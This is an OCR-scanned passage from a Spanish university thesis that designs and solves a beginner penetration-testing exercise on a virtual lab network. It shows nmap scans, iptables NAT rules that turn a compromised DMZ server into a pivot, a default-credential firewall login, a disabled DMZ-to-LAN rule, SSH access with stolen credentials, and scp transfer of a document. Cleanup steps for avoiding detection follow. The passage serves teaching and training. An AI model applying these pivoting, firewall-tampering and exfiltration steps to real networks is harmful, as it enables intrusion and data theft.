Una vez conocida la pasarela, analizamos los servidores que se encuentran en nuestro segmento de
red. Analizaremos el siguiente rango de IP: 192.168.16.1/24. De las multiples opciones hemos elegido
la opcién —PS20 ya que consiste en el descubrimiento de equipos, y la opcion —O para analizar
sistemas operativos. Los resultados son los siguientes:
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$ sudo nmap —PS20 -0 192.168.16.1/24

Servidor FTP (Figura 4-26).
Servidor e-mail (Figura 4-27).
Base de datos (Figura 4-28).
Servidor DNS (Figura 4-29).

Nmap scan report for ubuntus-2.tfg.dunquerque.cud.uvigo.es (192.168.16.11)
Host is up (0.00061s latency).
Not shown: 999 closed ports
PORT STATE SERVICE
21/tcp open ftp
MAC Address: 08:00:27:50:18:3D (Cadmus Computer Systems)
No exact 0S matches for host (If you know what 0S is running on it, see http://nmap.org/submit/ ).
TCP/IP fingerprint:
:SCAN(V=6.40%E=4%D=3/3%0T=21%CT=1%CU=31472%PV=Y% % —080027 5 TM
:=5A9AD3DD%P=x86 64-pc-linux-gnu)SEQ(SP=102%GCD=1%IS
: OPS (01=M5B4ST11NW7%02=M5B4ST11NW7%03=M5B4NNT L INW7>
:ST1INW7%06=M5B4ST11)WIN(W1=7120%W2=7120%W3=7120%W4=
%! %0= MSB4NNSNW7 sCC

% 1=40%IPL=164%U
:%CD=S)
Network Distance:

Figura 4-26 Servidor FTP

Nmap scan report for win2008s-2.tfg.dunquerque.cud.uvigo.es (192.168.16.21)
Host is up (0.00051s latency).
Not shown: 987 closed ports
STATE SERVICE
open smtp
open http
open pop3
open msrpc
open netbios-ssn
open imap
open microsoft-ds
open submission
open ms-wbt-server
49152/tcp open unknown
49153/tcp open unknown
49154/tcp open unknown
49155/tcp open unknown
MAC Address: ©8:00:27:5C:E0:2C (Cadmus Computer Systems)
Device type: general purpose
Running: Microsoft Windows 2008|7
0S CPE: cpe:/o:microsoft:windows_server 2008::sp2 cpe:/o:microsoft:windows 7::- cpe:/o:microsoft:windows_7::spl cpe:/o:microsoft:windows 8
0S details: Microsoft Windows Server 2008 SP2, Microsoft Windows 7 SP® - SP1, Windows Server 2008 SP1l, or Windows 8
Network Distance: 1 hop

Figura 4-27 Servidor e-mail

Nmap scan report for ubuntus-3.tfg.dunquerque.cud.uvigo.es (192.168.16.12)
Host is up (0.00064s latency).
Not shown: 999 closed ports
PORT STATE SERVICE
3306/tcp open mysql
MAC Address: 08:00:27:86:DA:9F (Cadmus Computer Systems)
No exact 0S matches for host (If you know what 0S is running on it, see http://nmap.org/submit/ ).
CP/IP fingerprint:
:SCAN(V=6.40%E=4%D=3/3%0T=3306%CT=1%CU=34866%PV=Y%

: TM=5A9AD3DD%P=x86 _ 64 pc linux- gnu)SEO(SP 107%GCD=

:B4ST11NW7%06= MSB4ST11)WIN(W1 7120%
:O)ECN(R— %W=7210%0=M5B4NNSNW7% CC

:40%CD=S)

Figura 4-28 Base de datos
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map scan report for win2008s-1.tfg.dunquerque.cud.uvigo.es (192.168.16.20)
ost is up (0.00053s latency).
Not shown: 982 closed ports

STATE SERVICE

open domain

open kerberos-sec

open msrpc

open netbios-ssn

open ldap

open microsoft-ds

open kpasswd5

open http-rpc-epmap

open ldapssl

open globalcatLDAP

open globalcatLDAPssl

open ms-wbt-server
[#9152/tcp open unknown
9153/tcp open unknown
9154/tcp open unknown

unknown
unknown

i unknown
MAC Address: ©8:00:27:B3:61:A0 (Cadmus Computer Systems)
pevice type: general purpose
Running: Microsoft Windows 2008|7
pS CPE: cpe:/o:microsoft:windows server 2008::sp2 cpe:/o:microsoft:windows 7::- cpe:/o:microsoft:windows 7::spl cpe:/o:microsoft:windows 8
pS details: Microsoft Windows Server 2008 SP2, Microsoft Windows 7 SPO - SP1, Windows Server 2008 SP1l, or Windows 8
etwork Distance: 1 hop

Figura 4-29 Servidor DNS

Los distintos puertos de los diferentes servidores caracterizan la funcion de cada servidor dentro de
la DMZ. En algunos casos, podemos identificar también el sistema operativo de alguno de los
servidores. En cualquier caso, un fallo claro de seguridad ha sido proporcionar un nombre a los
servidores acorde al sistema operativo que tienen instalados. Lo que no hemos conseguido ha sido
detectar otros segmentos de red, por lo que se deberd atacar el firewall para obtener mas informacion,
ya que en lo que respecta a este ciberejercicio, lo que buscamos es infiltrarnos en la red LAN.

Para permitir el acceso al firewall, modificaremos las iptables [90] del servidor. Las iptables son
reglas individuales que funcionan como un firewall que viene integrado en el kernel de Linux.
Recordemos que la pasarela por la que el firewall manda las peticiones a los servidores es a travées de
la IP 192.168.16.1. Lo que haremos sera redirigir el trafico que reciba el servidor web por el puerto 80
al puerto 80 del firewall y viceversa, de manera que el servidor funcione como ‘puente’. Para ello,
haremos uso de lo siguiente:

e Activar el funcionamiento de redireccionamiento del servidor y reiniciar el servicio.
o $sudo sysctl —w net.ipv4.ip_forward=1
o $sudo sysctl —p
e Configuramos la regla de direccionamiento. Es importante afiadir la opcion —s ‘IP del alumno’
para que el redireccionamiento solo ocurra desde nuestro equipo personal, de otra forma
cualquier persona que accediese a la pagina web de la ferreteria seria redireccionada al firewall
de lared.
o $sudo iptables —t nat —-A PREROUTING —p tcp —s ‘IP del alumno’ —dport 80 —j DNAT
—to-destination 192.168.16.1:80
e Y por ultimo, no debemos olvidarnos de indicar, con el siguiente comando, que el firewall
reciba las peticiones como si fueran del servidor y no peticiones del exterior, de lo contrario no
las aceptaria.
o $sudo iptables —t nat —~A POSTROUTING —j MASQUERADE

En la Figura 4-30 se puede ver la secuencia completa.
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Aplicaciones v Lugares v Terminal v séb 16:19 @
Qutaybah@server: ~

Archivo Editar Ver Buscar Terminal Ayuda
:~$ sudo ssh Qutaybah@192.168.3.50
[sudo] password for rootsudo:
Qutaybah@192.168.3.50's password:
Welcome to Ubuntu 14.04.5 LTS (GNU/Linux 4.4.0-112-generic x86 64)

* Documentation: https://help.ubuntu.com/

Your Hardware Enablement Stack (HWE) is supported until April 2019.

Last login: Sat Mar 3 16:11:40 2018 from 192.168.1.138

Qutaybah@server:~$ sudo route -n

[sudo] password for Qutaybah:

Tabla de rutas IP del nicleo

i Pasarela Genmask Indic Métric Ref Uso Interfaz

192.168.16.1 0.0.0.0 UG (¢} (¢} 0 ethe

192.168.16.0 0.0.0.0 2850255520540 U (¢} ¢} 0 ethe

Qutaybah@server:~$ sudo sysctl -w net.ipv4.ip forward=1

net.ipv4.ip forward = 1

Qutaybah@server:~$ sudo sysctl -p

Qutaybah@server:~$ sudo iptables -t nat -A PREROUTING -p tcp -s 192.168.2.16 --dport 80 -j DNAT --to-destination 192.168.16.1:80

Qutaybah@server:~$ sudo iptables -t nat -A POSTROUTING -j MASQUERADE

Qutaybah@server:~$ D

Figura 4-30 Configuracién de iptables

4.5.2.2 Configuracion del firewall

Cuando nos conectemos ahora al servidor desde el exterior, éste nos redireccionara al firewall de
la red. Sin embargo, como puede verse en la Figura 4-31, el servidor DNS de la red parece detectar que
la URL (www.tfg.dunquerque.cud.uvigo.es) correspondiente a la IP 192.168.16.10 de la pagina web,
redirecciona a otro destino que no es la propia pagina web.

Aplicaciones + Lugares v @ Firefox ESR = sab 12:15e

501 - Mozilla Firefox

% 501 ® |+
€ | ¥ | @ | www.tfg.dunquerque.cud.uvigo.es Search

[ Most Visited~ Bl Offensive Security e, Kali Linux " Kali Docs " Kali Tools . Exploit-DB Wy Aircrack-ng glKali Forums S NetHunter @ Getting Started

Potential DNS Rebind attack see http:ilen (1] DNS_1
Try accessing the router by IP address instead of by hostname.

Figura 4-31 Deteccion del redireccionamiento

La propia imagen ya nos da la solucion: debemos conectarnos sin utilizar el servidor DNS y
utilizando directamente la IP. Es importante, para evitar interferencias, borrar el historial y las cookies
de Firefox antes de conectarnos, pues muchas veces se guardan registros que nos llevarian a utilizar el
servidor DNS automaticamente en lugar de utilizar la IP. En la Figura 4-32 podemos ver el acceso al
firewall.
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Login - Mozilla Firefox e e 0

| @& Login x|+

€ ©& 192168350 | e |[a search B 3 A =
[ Most Visitedv [flOffensive Security "\ Kali Linux "\ Kali Docs \ Kali Tools ‘. Exploit-DB Wy Aircrack-ng gifKali Forums “§ NetHunter @ Getting Started

Figura 4-32 Acceso al firewall

Recordemos que el administrador no ha modificado el login y contrasefia por defecto del pfsense
(claro error de seguridad), por lo que las credenciales pueden encontrarse facilmente en Internet. Una
vez logueados, en la Figura 4-33 podemos observar los diferentes segmentos de red e identificar el
segmento de la red LAN.

s v Lugares v @ Firefox ESR = o~
pfSense.tfg.dunquerque.cud.uvigo.es - Status: Dashboard - Mozilla Firefox e ® O

] pSensefgdunguerq.. % | +
\(_- | ® A 192.168.3.50 | @ |[a search e & A& =

Most Visitedv [JJOffensive Security S Kali Linux " Kali Docs S Kali Tools ‘. Exploit-DB Wy Aircrack-ng gl Kali Forums “§ NetHunter @ Getting Started

»System > Interfaces > Firewall > Services »VPN > Status  » Diagnostics > Gold > Help o pf

Status: Dashboard

pfSense.tfg.dunguerque. cud. uvigo.es 1000baseT <full-duplex>

2.2.6-RELEASE (amd64) 192.168.3.50
built on Mon Dec 21 14:50:08 CST 2015
FreeBSD 10.1-RELEASE.p25 1000baseT <full-duplex=

192.168.8.1

Unable to check for updates. 1000baseT <full-duplex>

Platform pfsense 192.168.16.1

Intel{R) Xeon(R) CPU E5-2603 v3 @
CPUType 1.60GHz

Uptime 00 Hour 32 Minutes 48 Seconds

Current

dateftime Sat Mar 3 12:16:29 UTC 2018

192.168.16.20

IS 208.67.222.222

Last config
change

Fri Mar 2 22:42:48 UTC 2018

Statetable )55, (a7002/47000)
size
Show states

MBUF
Usage 8% (2026/26584)
Load

average

0.08, 0.03, 0.03

Figura 4-33 Segmentos de red

Nos dirigimos a las reglas que definen el acceso de la DMZ a la red LAN y, como vemos en la
Figura 4-34, deshabilitamos la regla de restriccién que impide el acceso a la LAN desde la DMZ.
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Una vez modificado el firewall, si no queremos ser detectados es importante que eliminemos las
iptables que hemos creado en el servidor y que desactivemos la funcién de redireccionamiento, aunque
después debamos activarlo de nuevo para volver a modificar el firewall y volver a establecer la

Aplicaciones + Lugares v © Firefox ESR

pfSense.tfg.dunquerque.cud.uvigo.es - Firewall: Rules - Mozilla Firefox e oo
| % pfSense.tfg.dunquerg.. * | +
€ ) ® | 192.168.3.50/firewall _rules.php El| e Search wBe ¥ A& =

[ Most Visitedv Jll Offensive Security S Kali Linux S Kali Docs % Kali Tools . Exploit-DB Wy Aircrack-ng gKali Forums S NetHunter @ Getting Started

»VPN  » Status

» Diagnostics > Gold > Help

» Firewall  » Services

» Interfaces.

» System

Firewall: Rules

Th tting s have been applied. The firewall rul w reloading in the background.
the reload progress.

I

D Proto

<o

o 1Pua DMZ net |+ | TLAN nef e

TCP (IMAP)

o IPv4 DMZ net | * ! LAN net 21
TP (FTP)

Mﬁ

> Pv4 DMZ net * ! LAN net 25
cp (SMTP)

o 1Pvd DMZ net | * ULAN net 110
TCP (POP3)

M@

o 1Pua DMZ net | * ! LAN net
ICMP

M@

o IPv4 DMZ net | * ! LAN net 53 * nane
TCP/UDP (DNS)

Figura 4-34 Activar acceso a LAN desde DMZ

restriccion que hemos desactivado.

Si ahora escaneamos la red LAN con el segmento 192.168.8.1/21 podemos localizar dos equipos

o $sudo sysctl —w net.ipv4.ip_forward=0
o $sudo sysctl —p

o $sudo iptables —t nat -D PREROUTING —p tcp —s ‘IP del alumno’ —dport 80 —j DNAT

—to-destination 192.168.16.1:80
o $sudo iptables —t nat -D POSTROUTING —j MASQUERADE

activos.
$ sudo nmap —PS20 -0 192.168.8.1/21

Equipo 1 (Figura 4-35).
Equipo 2 (Figura 4-36).
Qutaybah@server:~$ sudo nmap -PS20 -0 192.168.8.1/21

Starting Nmap 6.40 ( http://nmap.org ) at 2018-03-03 17:50 CET
Nmap scan report for 192.168.8.14
Host is up (0.0013s latency).
Not shown: 999 closed ports
PORT STATE SERVICE
22/tcp open ssh
No exact 0S matches for host (If you know what 0S is running on it, see http://nmap.org/submit/ ).
TCP/IP fingerprint:
:SCAN(V=6.40%E=4%D=3/3%0T=22%CT=1%CU=30013%PV=Y%DS=2%DC=1%G=Y%TM=5A9AD308
:%P=x86 64-pc-linux-gnu)SEQ(SP=105%GCD=1%ISR=103%TI=RD%II=RI%TS=8)SEQ(SP=
%ISR=103%TI=RD%TS=8)0PS (01=M5B4ST11NW7%02=M5B4ST11NW7%03=M5B4NN
—MSB4ST11)WIN(W1 7120%W2= 7120%W3—
DF=N%T=40%W=7210% 3
5Q=)T2(R=N)T3(R:
T6(R=N)T7 (R=N)UL(R
G%RUD=G) IE (R=Y%

Network Distance: 2 hops

Figura 4-35 Descubrimiento del equipo 1
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Nmap scan report for 192.168.9.1
Host is up (0.0011s latency).
Not shown: 990 closed ports
STATE SERVICE
open msrpc
open netbios-ssn
open microsoft-ds
1025/tcp open NFS-or-IIS
1026/tcp open LSA-or-nterm
1027/tcp open IIS
1028/tcp open unknown
1029/tcp open ms-1lsa
1030/tcp open iadl
1031/tcp open iad2
No exact 0S matches for host (If you know what 0S is running on it, see http://nmap.org/submit/ ).
TCP/IP fingerprint:
:SCAN(V=6.40%E=4%D=3/3%0T=135%CT=1%CU=38689%PV=Y% %G=Y%TM=5A9AD30
:8%P=x86_64- pc llnux gnu)SEQ(SP F5%GCD=1%ISR=10 %TS= 7)SEO(SP F5%GCD

. T=80%W=2000%0=H5BANWENNS%
)T2(R=N)T3(R=N) T4 (R=N)T5
=N)T7 (R=N) U1 (R=Y%DF

Network Distance: 2 hops

0S detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 2048 IP addresses (2 hosts up) scanned in 160.73 seconds

Figura 4-36 Descubrimiento del equipo 2

Si estudiamos dichos equipos, veremos que, al igual que el servidor web de la DMZ, uno de ellos
tiene abierto el puerto 22. Ya solo debemos acceder a él con las credenciales que obtuvimos en la zona
privada de la pagina web de la ferreteria online. En la Figura 4-37 confirmamos el acceso a uno de los
equipos de la red LAN desde el servidor web de la DMZ.

Aplicaciones ~ Lugares v [ Terminal sab 17:56 @

Archivo Editar Ver Buscar Terminal Ayuda

Qutaybah@server:~$ ssh khalid@192.168.8.14
khalid@192.168.8.14's password:
Welcome to Ubuntu 16.04.3 LTS (GNU/Linux 4.10.0-28-generic x86 64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage

Pueden actualizarse 371 paquetes.
220 actualizaciones son de seguridad.

Last login: Sat Mar 3 17:33:07 2018 from 192.168.16.10
khalid@khalid:~$ []

Figura 4-37 Acceso a la red LAN

4.5.2.3 Explotacion del equipo LAN

Una vez hemos accedido al equipo de la red LAN, nos dirigimos a la carpeta de Documentos en la
que encontraremos el documento de la factura de la ferreteria. Lo primero que deberemos hacer para
investigarlo es copiarlo y transferirlo a nuestro equipo personal. Para ello, deberemos hacerlo en dos
pasos:

o Transferir el fichero desde el equipo de la red LAN al servidor de la DMZ
o Transferir el fichero desde la DMZ a nuestro equipo personal.
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Como muestra la Figura 4-38, transferiremos el documento .docx al servidor de la DMZ en la ruta
/home/server/. Una vez copiado el fichero, cerraremos la sesion del equipo LAN.

$ sudo scp Factura.docx Qutaybah@192.168.3.50:/home/server/

khalid @khalid-VirtualBox: ~/Documentos e ® O

Archivo Editar Ver Buscar Terminal Ayuda

halid@khalid-VirtualBox:~$ 1s

Descargas Escritorio Imagenes Plantillas Videos

Documentos examples.desktop Musica Publico

halid@khalid-VirtualBox:~%$ cd Documentos
halid@khalid-VirtualBox:~/Documentos$ 1s

actura.docx

halid@khalid-VirtualBox:~/Documentos$ sudo scp Factura.docx Qutaybah@l92.168.3.
H0:/home/server/

he authenticity of host '192.168.3.50 (192.168.3.50)' can't be established.
CDSA key fingerprint is SHA256:80aSnl7nu7jCU11BN9Svc8x3iPc521L1GNMw8ZSrTRsS.
Are you sure you want to continue connecting (yes/no)? yes

arning: Permanently added '192.168.3.50' (ECDSA) to the list of known hosts.
Qutaybah@192.168.3.50's password:

actura.docx 100% 1126KB 1.1MB/s 00:00
halid@khalid-VirtualBox:~/Documentos$ exitD

Figura 4-38 Transferencia del archivo .docx al servidor de la DMZ

Puesto que cuando configuramos las reglas permitimos Unicamente la conexion por SSH desde el
exterior a la DMZ, no podremos copiar el archivo desde la DMZ, de modo que deberemos copiarlo
abriendo la conexidn por SSH desde nuestro propio equipo. No debemos olvidar eliminar el archivo de
a DMZ una vez lo hayamos transferido a nuestro equipo personal. En la Figura 4-39 podemos ver el
procedimiento.

$ sudo scp Qutaybah@192.168.3.50:/home/server/Factura.docx /home/rootsudo/Documentos

rootsudo@kalicud: /home @ ® O

Archivo Editar Ver Buscar Terminal Ayuda

:/home$ sudo scp Qutaybah@192.168.3.50:/home/server/Factura.docx /home/rootsudo/Documentos
Qutaybah@192.168.3.50's password:
Factura.docx 100% 1126KB 9.9MB/s 00:00

: /home$ D

Figura 4-39 Transferencia del archivo .docx al equipo personal

Convertimos el archivo .docx en un archivo .zip y nos dirigimos a la ruta
[Factura.zip/word/media/. Como muestra la Figura 4-40, hemos obtenido la informacion del plan
terrorista que buscabamos.
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| Extraer H +‘ Factura.zip ‘E‘ ‘E‘ @ o0

‘ { > ‘1‘3}‘ Lugar: | i /word/media/ ‘

Nombre + | Tamafio Tipo Modificado

E Datosclave.png 2,6 kB imagen PNG 01 enero 1980, 00:00
B imagel.png 10,5 kB imagen PNG 01 enero 1980, 00:00
E Puertadelsol.png 1.1MB imagen PNG 04 marzo 2018, 13:53
E Puertadelsol2.png 10,2 kB imagen PNG 04 marzo 2018, 13:52

Figura 4-40 Plan terrorista

En la Figura 4-41 podemos ver las imé&genes ocultas en el archivo .docx.

N
>/ N v

OBJETIVO: PUERTA DEL SOL
DIA: 15/09/18

HORA: 15:00

EXPLOSIVOS DE NITROGLICERINA

Figura 4-41 Puerta del Sol

Como ya se indico al comienzo de este capitulo, el enunciado que se le ha de entregar al alumno
que intente resolver este ciberejercicio se presenta en el Anexo I: Enunciado del ciberejercicio, asi
como las pistas para cada apartado.
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5 CONCLUSIONES Y LINEAS FUTURAS

Tras la finalizacion del presente trabajo, analizaremos los diferentes objetivos que nos propusimos
al inicio para, posteriormente, proponer algunas lineas futuras que permitan desarrollar la explotacién
de la maqueta de maquinas virtuales en red que hemos utilizado, y favorecer también el crecimiento de
la concienciacion de la ciberseguridad en el personal que asi lo requiera.

5.1 Conclusiones

En primer lugar, analizando los objetivos propuestos en el apartado 1.3, se ha concluido con éxito
el objetivo principal: la finalizacién del disefio de un ciberejercicio de ataque y su posterior
implementacion en la maqueta de maquinas virtuales en red. Desde el punto de vista del marco
contextual en el que se desarrolla el ciberejercicio, a pesar del nivel de dificultad establecido, se ha
conseguido dar el realismo que se pretendia con éxito: la intrusion en una red privada desde Internet a
través de la obtencién de informacion y herramientas de pentesting. A pesar de que la ciberseguridad
sigue creciendo dentro de los sistemas TIC, el factor humano continda siendo el eslab6n méas debil. Es
por ello que, en la actualidad, tiende a ser la primera puerta que un ciberatacante ha de explotar para
realizar un ciberataque con éxito. Gran parte de las veces, partiendo de un sistema tecnolégico con un
alto nivel de ciberseguridad, somos nosotras, las personas, las que creamos nuestros propios agujeros
de seguridad.

A continuacion, iremos analizando los diferentes objetivos secundarios que nos propusimos:

e Debido al nivel medio/bajo que hemos establecido, lo que puede no suponer un
adiestramiento completo a personal especializado en el campo TIC, si supone una
iniciacion a todas aquellas personas interesadas en el ambito de la seguridad informatica.
Hemos cumplido los diferentes requisitos que se pretendieron a la hora de disefiar el
ciberejercicio para, de cierto modo, familiarizar a un usuario no especializado en la materia
con algunos de los diferentes campos de la ciberseguridad.

e Respecto a la validacion de la maqgueta, podemos confirmar el alto grado de seguridad
establecido en el TFG del Tte. Romero Fernandez. El acceso restringido a la LAN desde la
DMZ, a causa de la configuracion del firewall, supuso la necesidad de modificarlo, asi
como la necesidad de crear nuevas reglas que permitiesen la conexion a la DMZ desde
Internet. Una vez mas, las vulnerabilidades encontradas méas destacadas fueron a causa del
factor humano: las credenciales de acceso por defecto al firewall de Pfsense y el nombre de
los sistemas operativos como parte del nombre de cada servidor.

e Otro objetivo que consideramos cumplido es la concienciacion del personal en torno a la
ciberseguridad. Muchas veces el nivel de seguridad de una red depende de las personas:
servicios que dejamos activos, usuarios y contrasefias faciles de romper, datos pablicos con
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informacion relevante, etc. Damos por hecho que el alumno que realice el ciberejercicio
tomard conciencia de como puede llegar a afectar a nuestro entorno el que nuestro
ciberespacio sea violado y qué medidas se pueden tomar contra ello.

En lo que respecta a la parte personal, este trabajo me ha supuesto tomar conciencia de lo que
pueden suponer vulnerabilidades de seguridad y la importancia de este campo en la actualidad.
Conocer el funcionamiento de una red y su arquitectura me ha ayudado a comprender como funcionan
algunos de los diferentes ciberataques. Por otro lado, saber que el factor humano influye en el disefio,
implementacion y configuracion de una red, me proporciona cierta inseguridad, fomentando en mi la
necesidad de saber que toda precaucion es poca cuando se habla de proteger datos informaticos. Lo
que antes veia como algo lejano, fuera de lo normal, ahora lo veo como una preocupacion: una
preocupacion por saber que, en gran medida, las vulnerabilidades dependen de nosotros mismos.
Afadir también que el disefio y la implementacion del ciberejercicio también me ha servido para
familiarizarme con algunos de los campos de pentesting a la hora de estudiar una red.

Cambiando la dindmica de las conclusiones, tras la finalizacién de este trabajo puedo decir que la
desenvoltura y la capacidad para trabajar desde una terminal a través del uso de comandos también han
sido incrementadas. Del mismo modo, también han sido ampliados los conocimientos en el campo de
la virtualizacion y del trabajo de manera remota.

5.2 Lineas futuras

Una vez finalizado el disefio y la implementacién del ciberataque, se proponen una serie de lineas
a seguir para explotar los beneficios de trabajar con un entorno controlado como el que presenta la
maqueta de maquinas virtuales en red.

Las ideas propuestas son las siguientes:

e El disefio y la implementacion de otro tipo de ciberataques sobre la maqueta virtual, de
modo que el alumno se formase en otros campos de la ciberseguridad.

e Subir el nivel de dificultad del ciberejercicio del presente trabajo, de modo que, una vez el
alumno ha consolidado una base de conocimientos sobre ciberseguridad, pueda ir
ampliandolos.

e Disefiar e implementar un ciberejercicio de defensa para estudiar y desarrollar el otro punto
de vista de la ciberseguridad. Si bien en este ciberejercicio el alumno ha vulnerado la
seguridad de una red, se trataria ahora de realizar un andlisis forense tras detectar una
intrusion.

e Continuando con algunas de las lineas futuras ya propuestas en el TFG del Tte Romero
Fernandez, se anima también a disefiar un entorno gréafico que facilite la configuracion y el
uso de la maqueta de red virtual, asi como un software que permita visualizar en tiempo
real la ejecucion de un ciberejercicio de ataque/defensa que se ejecute en la maqueta.
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DISENO E IMPLEMENTACION DE UN CIBEREJERCICIO DE ATAQUE SOBRE UNA
MAQUETA DE MAQUINAS VIRTUALES EN RED

ANEXO |: ENUNCIADO DEL CIBEREJERCICIO

El siguiente ciberejercicio estd destinado al alumno que quiera iniciarse en técnicas basicas de

pentesting. Su nivel de dificultad se ha establecido entre un nivel medio/bajo. Se recuerda que se
valorara también el sigilo y el rastro que deje el alumno dentro de la red a infiltrarse. Por Gltimo,
destacar que no existe un unico metodo de resolucion. Todos los métodos que cumplan los diferentes
objetivos seran evaluados y aceptados. Si en algin momento el alumno se blogquea, podra acceder a
una pista por enunciado del ciberejercicio. jSuerte!

K/
L4

D

Se ha detectado a un usuario con antecedentes penales visitando algunas paginas de actividad ilegal
dentro de la Deep Web. Tras varias semanas llevando a cabo una investigacion en secreto sobre
este usuario, podemos confirmar que visita diariamente la web www.tfg.dunquerque.cud.uvigo.es.
Al parecer, no es mas que una ferreteria online. ;Podrias investigar esta pagina y confirmar alguna
actividad maliciosa?

> Pista: Investigar imagenes

Muchas gracias por la informacion aportada. La confirmacién de posibles actividades terroristas ha
dado lugar a la autorizacién de un equipo del CNI a investigar en profundidad a nuestro
sospechoso. Por lo que parece, han conseguido capturar una traza de trafico de su equipo personal.
¢Podrias obtener algin resultado analizando la traza?

» Pista: Credenciales de autenticacion, usuarios, imagenes...

Parece ser que las sospechas se confirman y se trata de una célula yihadista que se encuentra
activa. La informacion que nos has ofrecido es muy valiosa, sin embargo parece que hemos
levantado sospechas en el grupo terrorista y nos hemos visto obligados a detener nuestras acciones.
¢Podrias usar esta informacion para tener acceso a la red privada?

> Pista: Accede y toma el control del servidor de la DMZ

Nos han informado de que tienes acceso a uno de los servidores de la DMZ. jFantastico! Sin
embargo, no es suficiente. ;Podrias acceder a la red LAN y obtener informacion critica?

» Pista: ¢Por qué no pruebas a acceder al firewall de la red?
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